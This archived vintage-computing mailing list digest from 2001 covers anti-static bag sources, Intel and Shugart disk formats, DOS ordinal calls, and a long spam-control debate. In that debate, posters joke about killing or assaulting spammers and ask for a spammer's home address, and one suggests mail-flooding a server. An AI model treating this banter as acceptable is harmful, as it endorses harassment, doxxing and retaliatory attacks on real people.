Jun 21 13:18:56 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? Message-ID: <993147536.3b323a904fb67@email.ou.edu> So... where do I get anti-static bags that for hex-height Unibus and other big boards? -- Jeffrey S. Sharp jss@ou.edu From mac at Wireless.Com Thu Jun 21 13:54:12 2001 From: mac at Wireless.Com (Mike Cheponis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: So they spam from Belize and get off scott-free? The solution is Athentication. When we KNOW who is knocking at the door, we can open it or keep it shut. Caller ID has helped for phones - if I don't recognized the phone number, or (worse) it's "restricted", the call goes straight to the answering machine. -Mike On Thu, 21 Jun 2001, Sellam Ismail wrote: > Date: Thu, 21 Jun 2001 08:38:20 -0700 (PDT) > From: Sellam Ismail > Reply-To: classiccmp@classiccmp.org > To: classiccmp@classiccmp.org > Subject: Re: Wave of the Future (Spam) > > On Thu, 21 Jun 2001, Richard Erlacher wrote: > > > There is a way to stop/impede this sort of thing. It's just got to become > > important enough for someone to make the investment to do it. Perhaps it's > > What we really need is a law that says anyone caught spamming will be > fined $10,000 per message sent. Then wait for the first sucker to get > caught, make an extreme example out of the asshole, repeat a few times, > and that's that. Problem solved. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From edick at idcomm.com Thu Jun 21 13:48:46 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <001f01c0fa82$cd9bb4c0$9cc762d8@idcomm.com> The problem is that there's big money in SPAM, and, while $10K per message is significant, I think I like my classic punishment of a dip in a hot solder pot of about 600 gallon capacity during halftime at the SuperBowl is appropriate. The problem with that is catching them. Dick ----- Original Message ----- From: "Sellam Ismail" To: Sent: Thursday, June 21, 2001 9:38 AM Subject: Re: Wave of the Future (Spam) > On Thu, 21 Jun 2001, Richard Erlacher wrote: > > > There is a way to stop/impede this sort of thing. It's just got to become > > important enough for someone to make the investment to do it. Perhaps it's > > What we really need is a law that says anyone caught spamming will be > fined $10,000 per message sent. Then wait for the first sucker to get > caught, make an extreme example out of the asshole, repeat a few times, > and that's that. Problem solved. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From edick at idcomm.com Thu Jun 21 13:54:49 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <003301c0fa83$a5d91120$9cc762d8@idcomm.com> I'm not sure about Moore's law ... it looks more like Gresham's law, i.e. the SPAM is forcing junk snail-mail off the market, since it's free, and that's what's forcing postage rates upward. I really don't believe it's advisable or necessary to eliminate SPAM. I think it's necessary, however, to find a way to get it paid for by the foks who originate it, else we'll all end up subsidizing the SPAM we hate. Dick ----- Original Message ----- From: "Brian Chase" To: Sent: Thursday, June 21, 2001 11:55 AM Subject: Re: Wave of the Future (Spam) > On Thu, 21 Jun 2001, Richard Erlacher wrote: > > > I'm not convinced any more than 1 part in 10E23 of the user of > > OUTLOOK/OUTLOOK EXPRESS even know about that feature. However, if > > we're going to preseve the bandwidth so we can have "free" internet > > for any more than a few more years, we're going to have to give up > > something. > > Well, I guess that all depends on whether the curve of Moore's Law can out > pace the spammers. I don't see major issues with the net being over > congested with spam. It's an annoyance getting spam in your mailbox, but > I'd imagine there are other things aside from spam more significantly > impacting network performance. > > > Disposing of the mechanism that allows SPAMmers to send a > > single email to a downstream server with the full expectation that the > > server, outside his own domain, will distribute the mail at no cost to > > him, will quickly quell the vast increase of unsolicited email. > > I do think that outlawing the "Cc" or "Bcc" mechanism's in e-mail is a bit > of an extreme / kind of "out there" suggestion. I really just don't ever > see that happening. > > And as someone else already pointed out, there's nothing to prevent > spammers from generating lists of e-mail addresses and then just writing a > script to spam each user individually. Which actually just makes things a > lot worse. Sendmail, and I imagine other mail servers, try to be smart > about routing e-mail. If there's a "Cc" line with multiple users at the > same site, then sendmail only send's a single copy of the message to that > site. That site's MTA then breaks the message into individual copies for > the individual users. By allowing for only one user to be a recipient, > and forcing spammers to send individual messages, you're undermining > sendmail's ability to intelligently route traffic--and probably amplying > the overall mail traffic going across the internet by a significant > factor. > > And even if the spammer isn't clueful enough to write a script, there's > nothing to prevent spam marketing companies to provide this mechanism for > them, or for that matter, they could just set up a mailing list for their > spammer customers to use. > > > I'm curious why you're taking a position favoring SPAMmers? I have > > nothing against them. They're just using a facility that's avaiable > > to them. I view their unpaid consumption of bandwidth as a theft of > > bandwidth from the users who pay for what they waste with their SPAM, > > however, though they make their money that way, so they don't see it > > as waste. > > > > [...] > > I think my main point would be that your suggested fix doesn't actually > eliminate the problem, and that it would likely actually make the amount > of wasted bandwidth increase while also inconveniencing legitimate users > who're accustomed to Cc'ing multiple people. > > > Things that provide benefit to some should be paid for by the ones who > > reap the benefit, and proportionally (but perhaps not in linear > > proportion) to how much they use. Likewise, I think it's unfair that > > users of passenger vehicles that don't wear the roadways much at all > > pay more tax per pound of gross-vehicle-weight than the owners of the > > huge semi-tractor-trailer rigs that permanently alter the roadway in > > only one pass over it. > > Don't toll roads work like this? Bigger trucks have to go through > different toll booths than passenger vehicles. > > > Likewise, as the folks in California will probably consider, the usage > > of MORE electrical power should not be discounted. If you use what a > > small household uses, you should get the minimal rate. If you use, 5x > > what the typical small household uses, you should pay 5x what that > > household uses, i.e. 5x the amount per kWH, and if you use 1000x > > kWH's, then you should pay 1000x the amount, per kWH that the small > > household has to pay. It all gets passed to the end user of the > > products and services that would be increased in cost. Maybe that > > would get some folks to turn off the TV and air-conditioning once in a > > while. > > > > [...] > > Well, even at a flat rate per kWH, the people using the most do actually > pay the most. 10 kWH at $1/hr is $10, 50 kWH at $1/hr is $50. This is > probably the most fair arrangement. From what I rememeber living in > California from 1996-2000, the electric utilities there charged you a > certain rate per kWH used under some fixed limit for a household. If you > went beyond that limit, they did increase the rate (not discount it), > penalizing heavy/wasteful electricity users. > > -brian. > > From steven_j_robertson at hotmail.com Thu Jun 21 13:57:56 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) Message-ID: >>Likewise, as the folks in California will probably consider, the usage of >>MORE electrical power should not be discounted. If you use what a small >>household uses, you should get the minimal rate. If you use, 5x what the >>typical small household uses, you should pay 5x what that household uses, >>i.e. 5x the amount per kWH, and if you use 1000x kWH's, then you should >>pay 1000x the amount, per kWH that the small household has to pay. It all >>gets passed to the end user of the products and services that would be >>increased in cost. Maybe that would get some folks to turn off the TV and >>air-conditioning once in a while. So... If I buy a case of beer, I should pay 24X as much per can? WTF are you smoking? SteveRob _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From mikeford at socal.rr.com Thu Jun 21 13:59:37 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: Message-ID: >> How many spammers need to turn up dead to reduce their population to a >> managable level? > >Lots. There are THAT many spammers. One of my friends is a spammer, and what he does is setup a whole new "persona" for each email blitz. Cost of doing business as far as he is concerned. From mikeford at socal.rr.com Thu Jun 21 13:53:37 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? In-Reply-To: <993147536.3b323a904fb67@email.ou.edu> Message-ID: >So... where do I get anti-static bags that for hex-height Unibus and >other big boards? Most real electronics supplies have them, for around $30/100 or so. How many do you need of what size in the inches and I will look in my stash and give you a quote. From zmerch at 30below.com Thu Jun 21 14:22:08 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: Message-ID: <3.0.1.32.20010621152208.00ba1ab0@mail.30below.com> Rumor has it that Mike Ford may have mentioned these words: [snip] >One of my friends is a spammer, [snip] And he's still your friend? *sigh* "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From rdd at smart.net Thu Jun 21 14:33:45 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Fred Cisin (XenoSoft) wrote: > How many spammers need to turn up dead to serve as a deterrent to those > conteplating doing it? > > How many spammers need to turn up dead to reduce their population to a > managable level? Isn't that being slightly too severe, and, worst or all, a waste of energy, as other spammers may never realize that it even happened? Here's an alternate suggestion: would it not be more effective if some e-mail spammers turn on the doorstep of other e-mail spammers, bound and covered in tar and feathers, with a very large note attached that reads: "Warning: I was once a spammer too until the UUCP Cabal found me." I suspect that it was spammers, not Internet technology, that really destroyed the UUCP community. When I looked through the number of totally off-topic messages in the newsgroup hierarchy directories on my system, that I didn't even subscribe to, as a result of spam being sent to multiple newsgroups, it was amazing. I didn't have a huge spool partition, and it kept filling up... I only subscribed to a couple of, what should have been, low-volume newsgroups. What was just as annoying was the logic used by those IQ-deficient bizdroid spammers: we're not harming you, all you have to do is delete the messages. I couldn't make them understand that UUCP was a store and forward network, and I was paying extra long-distance charges from UUNET, as I was being forced to receive e-mail and Usenet spam. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From lemay at cs.umn.edu Thu Jun 21 14:24:14 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? In-Reply-To: <993147536.3b323a904fb67@email.ou.edu> "from Jeffrey S. Sharp at Jun 21, 2001 01:18:56 pm" Message-ID: <200106211924.OAA12270@caesar.cs.umn.edu> About a million places, just do a web search for "anti static bags". One such place is staticbags.com, they have some large 12x18's in their 'surplus' section, with zip tops, at about the normal price for open tops... -Lawrence LeMay > So... where do I get anti-static bags that for hex-height Unibus and > other big boards? > > -- > Jeffrey S. Sharp > jss@ou.edu > From rdd at smart.net Thu Jun 21 14:37:49 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? In-Reply-To: <993147536.3b323a904fb67@email.ou.edu> Message-ID: On Thu, 21 Jun 2001, Jeffrey S. Sharp wrote: > So... where do I get anti-static bags that for hex-height Unibus and > other big boards? Didn't Digi Key sell them? Locally, Bilko^H^H^H^H^HActive Electronics sold them, but their prices too high for nearly everything. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From foo at siconic.com Thu Jun 21 13:28:42 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:40 2005 Subject: UUCP and Netnews In-Reply-To: <3B322920.B095C250@rain.org> Message-ID: On Thu, 21 Jun 2001, Marvin wrote: > A friend of mine used 2 Dixie cups connected by a string with the > appropriate couplers and was able to send SSTV (Slow Scan TV) images > from one unit to the other over that setup. He got written up in QST > for that one!!! WOW! COOL!!! I would LOVE to see something like this. Anyone want to prepare an exhibit like this using modems for VCF East or VCF 5.0? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rdd at smart.net Thu Jun 21 14:43:59 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001f01c0fa82$cd9bb4c0$9cc762d8@idcomm.com> Message-ID: On Thu, 21 Jun 2001, Richard Erlacher wrote: [spammers] > The problem with that is catching them. Perhaps what's needed is a giant spammer trap: organize a trade show for them: a large tent placed over over the mouth of a volcano. "Step right this way folks, lots of hot ideas for the anonymous sending of e-mail inside..." -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From foo at siconic.com Thu Jun 21 13:34:38 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001f01c0fa82$cd9bb4c0$9cc762d8@idcomm.com> Message-ID: On Thu, 21 Jun 2001, Richard Erlacher wrote: > The problem with that is catching them. All it takes is a handful, and the rest will get the message. These guys are selling a product, they gotta be able to be contacted somehow. The net effect is that they will be so driven underground to avoid capture that the cost of doing business, and their ability to do business, will be greatly diminished. An interesting example of spam I got today has no domain name, just an IP address (to avoid having to register). You go to their website, and there is a form for you to fill out with your name, address, etc. These fools can still be found. Just fill in the form, wait for them to contact you, pretend to be a customer, gain their trust, get an address, arrest, prosecute, fine, throw in jail, butt-rape, done. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Thu Jun 21 13:35:43 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Mike Ford wrote: > >> How many spammers need to turn up dead to reduce their population to a > >> managable level? > > > >Lots. There are THAT many spammers. > > One of my friends is a spammer, and what he does is setup a whole new > "persona" for each email blitz. Cost of doing business as far as he is > concerned. Can I have your friend's home address? :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From spectre at stockholm.ptloma.edu Thu Jun 21 14:39:01 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: from Mike Cheponis at "Jun 21, 1 11:54:12 am" Message-ID: <200106211939.MAA32042@stockholm.ptloma.edu> > So they spam from Belize and get off scott-free? > > The solution is Athentication. When we KNOW who is knocking at the door, > we can open it or keep it shut. > Caller ID has helped for phones - if I don't recognized the phone number, > or (worse) it's "restricted", the call goes straight to the answering machine. But we don't have an Internet Caller ID -- we just have a reverse DNS lookup and identd, and that last is so easy to spoof ... In fact, stockholm has a fake identd running that answers 'nobody' to every query, just as an object example, to satisfy stupid services that insist the other side be running some sort of ident. Besides, the reverse DNS lookup doesn't help much with the mega-scale spammers who operate on six billion throwaway accounts. The Amazing Mailhole, which I wrote and use here, makes people authenticate to get mail through the public E-mail address I expose, but spammers still send mail to it anyway (it's just ignored) and people usually ignore the instructions and I never see the mail until days later when I'm cleaning out the spam folder where the Mailhole has routed all the unauthenticated messages. There's no good solution for this other than legal action. After all, I want my cut of the hard disk here and CPU time and electricity and network spent handling mailing lists I didn't subscribe to and can't get off of. Surely I can sue them for that. (I'm only *half* kidding.) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- You're never too old to become younger. -- Mae West ------------------------ From rdd at smart.net Thu Jun 21 15:07:24 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: <003301c0fa83$a5d91120$9cc762d8@idcomm.com> Message-ID: On Thu, 21 Jun 2001, Richard Erlacher wrote: > it's necessary, however, to find a way to get it paid for by the foks who > originate it, else we'll all end up subsidizing the SPAM we hate. Surely most of us believe in making the spammers pay; the problem is finding the most effective way of making them pay. If we choose the right methods, they just may decide that they don't want to spew spam any more... The problem is that harming spammers is illegal; I've heard of people getting into big trouble for harassing spammers over the telephone, or using spammers' "1-800" numbers to call them and demand that the spam be stopped. If anyone else smells some rats being involved in this, as usual, the rats are our individual taxpayer despising politicians, as we fail to worship these worthy humble public servants enough by giving them free lunches, massage parlor services and under-the-table gold bullion like many businesses and special-interest groups tend to do. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From rdd at smart.net Thu Jun 21 15:11:17 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Thu, 21 Jun 2001, Mike Ford wrote: > One of my friends is a spammer, and what he does is setup a whole new > "persona" for each email blitz. Cost of doing business as far as he is > concerned. How about posting his home address and telephone number so that we can have a little educational talk with him? Your doing so would be a kindness that many of us would greatly appreciate. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From jhellige at earthlink.net Thu Jun 21 15:03:45 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: Message-ID: >One of my friends is a spammer, and what he does is setup a whole new >"persona" for each email blitz. Cost of doing business as far as he is >concerned. If someone feels the need to hide their identity when trying to get me to buy a product or whatever, then obviously they nor the company/product they represent are legitimate and they will never see me as a customer. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From g at kurico.com Thu Jun 21 15:26:24 2001 From: g at kurico.com (George Currie) Date: Sun Feb 27 19:04:40 2005 Subject: SDK for Windows 1.04?? In-Reply-To: <004b01c0fa79$99745a20$8a0101ac@ibm23xhr06> Message-ID: <3B324C3600001BB3@mail.san.yahoo.com> (added by postmaster@mail.san.yahoo.com) Two different concepts. The DOS tech refs are refering to the values to place in ah (I think, or was it al?) before making a DOS or BIOS int call. This is all pre-DLL days. Richard is referring to the ordinal number within a DLL to reference a specific function located in the DLL. Not all functions in a dll have their names exported and sometimes the only way to get to them is by ordinal number. This is one way that M$ creates 'value added' to their software by utilizing these undocumented calls. George On Thu, 21 Jun 2001 13:42:53 -0400, John Allain wrote: >From: Cini, Richard > >> most of the functions in the DOS Shell code (MSDOS.exe >> and MSDOSD.exe) are referenced by ordinal number > >Early (most?) DOS techinical reference >manuals listed function calls by numbers, >E.G. 10H = Close file. 01H = Keyboard input, etc. >Could this be it? > >John A. > From edick at idcomm.com Thu Jun 21 15:11:18 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Source for anti-static bags? References: Message-ID: <000401c0fa90$ed0471e0$9cc762d8@idcomm.com> A google search will probably be helpful. If you have the EEM, you'll see (1) that they're cheap, and (2) that they're out there. Dick ----- Original Message ----- From: "Mike Ford" To: Sent: Thursday, June 21, 2001 12:53 PM Subject: Re: Source for anti-static bags? > >So... where do I get anti-static bags that for hex-height Unibus and > >other big boards? > > Most real electronics supplies have them, for around $30/100 or so. How > many do you need of what size in the inches and I will look in my stash and > give you a quote. > > > From edick at idcomm.com Thu Jun 21 14:41:03 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <000001c0fa90$ec6d6200$9cc762d8@idcomm.com> The caller-id box is the sort of thing I had in mind, so one could automatically reject mail that didn't contain totally verifiable originator information. Someone should be the "author" and that should be verifiable. However, (and here's the catch) it takes MORE BANDWIDTH to accomplish the verification that it is worth. Nevertheless, the idea's on track! If one could just verify that the source address in the email is the actual originator of the email, it would solve lots of problems. Now, I use a Hotmail email address for NEWS and other activities that might serve as SPAM magnets. There are lots of email address harvesting programs available and every day I get several offers of mailing lists that are generated in that way. If I get mail from someone with whom I'm inclined to communicate, I give them the principal email address because there are more convenient email tools than what's available on Hotmail. I could have my Hotmail stuff forwarded, but I don't want that link in place, just as I don't use TCP/IP as a network protocol, except for internet comm's. If only there were a foolproof way to validate the sender address ... Dick ----- Original Message ----- From: "Mike Cheponis" To: Sent: Thursday, June 21, 2001 12:54 PM Subject: Re: Wave of the Future (Spam) > So they spam from Belize and get off scott-free? > > The solution is Athentication. When we KNOW who is knocking at the door, > we can open it or keep it shut. > > Caller ID has helped for phones - if I don't recognized the phone number, > or (worse) it's "restricted", the call goes straight to the answering machine. > > -Mike > > From edick at idcomm.com Thu Jun 21 15:10:09 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <000101c0fa90$ecb08580$9cc762d8@idcomm.com> No, not a can ... but if you buy more than, say , a case a day, then the rate goes up. In the case of a case of beer, I'd say that if you consume more than a case a day, you need to be charged 24x ... or maybe 2^24x. However, since your beer isn't a commodity in critically short supply ... as electricity and telecom system bandwidth are ... it's not likely I'd urge you be charged more for increased consumption. If it were to become rationed, I'd happily sell you my ration at a nominal profit. That's why electricity might be a valid candidate for rationing. Then, the guy who uses a dozen and a half racks of large, power-hungry full-height 5-1/4" drives on a DEC CPU for his ISP will pay a reasonable amount, e.g $45 per kWH while the guy who uses the most power efficient system possible, costing a bit more per bit, as you know, with a microcomputer CPU on his single computer, and turns off the display when he goes to the head, will only pay 5 or 6 cents per kWH. Likewise, the guy who generates 500 TB of SPAM per month can pay 2 T$ per bit while those of us who generate maybe 10 MB per day get ours for a flat rate, say $15-20 per month. What grates me, however, is that large users of electricity have lower rates, hence, are less motivated to economize. It's the same with cars and gas consumption. If gas cost $1 per gallon for users of less than 25 gallons per week, $100 per gallon for users of 25..40 gal per wk, $10,000 per gallon for people using (for all their cars) > 40 gal per wk, things would change. Corporations would be viewed the same as individuals, by the way, so milk delivery might go up in cost. Individuals not using their allocation could sell that allocation to others at whatever price they can negotiate. The scheme to which I've alluded would fix that, wouldn't it? Maybe a bit of moderation could be applied, but you get the picture. BTW, I don't smoke. Dick ----- Original Message ----- From: "Steve Robertson" To: Sent: Thursday, June 21, 2001 12:57 PM Subject: Re: Wave of the Future (Spam) > >>Likewise, as the folks in California will probably consider, the usage of > >>MORE electrical power should not be discounted. If you use what a small > >>household uses, you should get the minimal rate. If you use, 5x what the > >>typical small household uses, you should pay 5x what that household uses, > >>i.e. 5x the amount per kWH, and if you use 1000x kWH's, then you should > >>pay 1000x the amount, per kWH that the small household has to pay. It all > >>gets passed to the end user of the products and services that would be > >>increased in cost. Maybe that would get some folks to turn off the TV and > >>air-conditioning once in a while. > > So... If I buy a case of beer, I should pay 24X as much per can? > WTF are you smoking? > > SteveRob > > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From ard at p850ug1.demon.co.uk Thu Jun 21 14:40:18 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:40 2005 Subject: Question about Intel disk formats In-Reply-To: from "Vintage Computer Festival" at Jun 20, 1 08:31:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2033 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010621/024f64a0/attachment.ksh From edick at idcomm.com Thu Jun 21 15:43:52 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <001101c0fa92$e1adb200$9cc762d8@idcomm.com> because of the dislike of SPAM in general, and the cost to ISP's of SPAMmers on their servers, these guys generally buy a discounted account, often free the first month, send a couple or three hundred TB of SPAM, then disappear. What is needed is a destination-local SPAM filter that verifies the path in the headers is the one followed by the message. Beyond that, i.e. to get the guy's home address so you can tar and feather him is much more challenging. Unfortunately, until ISP's find a way to prevent their clients from spamming without paying proportionally to the resulting global bandwidth consumption, they'll just keep going and going and going ..... Dick ----- Original Message ----- From: "Sellam Ismail" To: Sent: Thursday, June 21, 2001 12:34 PM Subject: Re: Wave of the Future (Spam) > On Thu, 21 Jun 2001, Richard Erlacher wrote: > > > The problem with that is catching them. > > All it takes is a handful, and the rest will get the message. These guys > are selling a product, they gotta be able to be contacted somehow. > > The net effect is that they will be so driven underground to avoid capture > that the cost of doing business, and their ability to do business, will be > greatly diminished. > > An interesting example of spam I got today has no domain name, just an IP > address (to avoid having to register). You go to their website, and there > is a form for you to fill out with your name, address, etc. These fools > can still be found. Just fill in the form, wait for them to contact you, > pretend to be a customer, gain their trust, get an address, arrest, > prosecute, fine, throw in jail, butt-rape, done. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From edick at idcomm.com Thu Jun 21 15:47:48 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: <200106211939.MAA32042@stockholm.ptloma.edu> Message-ID: <001d01c0fa93$6f98df40$9cc762d8@idcomm.com> If one simply sends 10^512 LONG daily emails to the source, it will bring the server to its knees. However, since we're trying to preserve bandwidth for the rest of us ... Dick ----- Original Message ----- From: "Cameron Kaiser" To: Sent: Thursday, June 21, 2001 1:39 PM Subject: Re: Wave of the Future (Spam) > > So they spam from Belize and get off scott-free? > > > > The solution is Athentication. When we KNOW who is knocking at the door, > > we can open it or keep it shut. > > Caller ID has helped for phones - if I don't recognized the phone number, > > or (worse) it's "restricted", the call goes straight to the answering machine. > > But we don't have an Internet Caller ID -- we just have a reverse DNS lookup > and identd, and that last is so easy to spoof ... In fact, stockholm has a > fake identd running that answers 'nobody' to every query, just as an object > example, to satisfy stupid services that insist the other side be running > some sort of ident. > > Besides, the reverse DNS lookup doesn't help much with the mega-scale > spammers who operate on six billion throwaway accounts. > > The Amazing Mailhole, which I wrote and use here, makes people authenticate to > get mail through the public E-mail address I expose, but spammers still send > mail to it anyway (it's just ignored) and people usually ignore the > instructions and I never see the mail until days later when I'm cleaning out > the spam folder where the Mailhole has routed all the unauthenticated > messages. > > There's no good solution for this other than legal action. After all, I want > my cut of the hard disk here and CPU time and electricity and network > spent handling mailing lists I didn't subscribe to and can't get off of. > Surely I can sue them for that. (I'm only *half* kidding.) > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu > -- You're never too old to become younger. -- Mae West ------------------------ > > From brian.roth at firstniagarabank.com Thu Jun 21 15:52:41 2001 From: brian.roth at firstniagarabank.com (brian roth) Date: Sun Feb 27 19:04:40 2005 Subject: Boom cars (ot for sure...) Message-ID: I know its off topic but I know there are a lot of electronics guru's on the list. I'm looking for a noise generator to mount in my car to defeat the "Boom cars" in my neighborhood. The local thieves(politicians) won't do a thing about it so its time for war. These thumping car stereo's are not there for musical enjoyment. They are there to disturb and upset people period. Please contact me off list if you have any creative idea's on this. Brian. Brian Roth Network Services First Niagara Bank (716) 625-7500 X2186 Brian.Roth@FirstNiagaraBank.com From edick at idcomm.com Thu Jun 21 15:56:17 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Wave of the Future (Spam) References: Message-ID: <002901c0fa94$9dcdfc00$9cc762d8@idcomm.com> Money is the motivating force behind SPAM, which is just "direct-mail-marketing" on the internet. Unfortunately, the folks who use that medium pay for it, but aren't the perpetrators of the real sin. If it were done ethically, and I think it's arguable that mass mailings via email are a legitimate use of bandwidth, just as junk mail is a legitimate use of the mails and of paper, ink, etc, then one not wishing to receive unsolicited emails could put up a service that filtered out advertising. I've seen some fine offers for things like inkjet refill supplies, photo-quality printer paper, etc, that were decent enough, but I don't want to have to sift through the junk mail when it arrives. What's needed is a way to avoid having to look at every email, including every title just to filter out the junk mail. That's why the anonymity of the internet may have to fall sacrifice to sensibility. regards, Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Thursday, June 21, 2001 2:03 PM Subject: Re: Wave of the Future (Spam) > >One of my friends is a spammer, and what he does is setup a whole new > >"persona" for each email blitz. Cost of doing business as far as he is > >concerned. > > If someone feels the need to hide their identity when trying > to get me to buy a product or whatever, then obviously they nor the > company/product they represent are legitimate and they will never see > me as a customer. > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From edick at idcomm.com Thu Jun 21 16:07:10 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:40 2005 Subject: Question about Intel disk formats References: Message-ID: <003301c0fa96$23076720$9cc762d8@idcomm.com> Tony's right about the Shugart 801's. Drives don't determine the modulation technique used to record the data. The "density" refers to the number of bits per linear inch on the track. Since that's really not an adequate measure in this context, its sensibly applied analog would be bits per revolution. The head/media combination determines the number of flux changes per inch (fcpi) and single-density uses two flux changes per bit, while double density uses only one (not exactly, but close enough). If the drive can manage to swap the flux direction quickly enough, which the '801 clearly can, then it's a double-density capable drive, which it is. Confusion arises from the fact that, while the '801 can read/write double density, its board-resident "data separator" can't. Also, while the older '901 wasn't commonly used for double density, it could manage MFM if one used 250ns of write precomp. The '801 required only 160-180 ns. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Thursday, June 21, 2001 1:40 PM Subject: Re: Question about Intel disk formats > > > > > > I've got some 8" disks that are apparently double density (the > > manufacturer label says so). I thought they were Intel ISIS formatted > > disks (which Eric Smith said would make them M2FM and uncompatible with > > anything other than an Intel MDS development machine) but I'm not so sure, > > since I can't seem to access any on the two Intel MDS systems I have set > > up. > > Intel certainly made an M2FM disk controller for the MDS800 (I have one > here in my MDS). It was couple of Multibus boards with Intel 3000 series > bit-slice chips on them. > > But I believe they also made a 'normal' single-density disk controller > board (FM, IBM3740-like format). Maybe that's what was used to record them. > > FWIW, many floppies say double density on the label. This means the media > is capable of handling 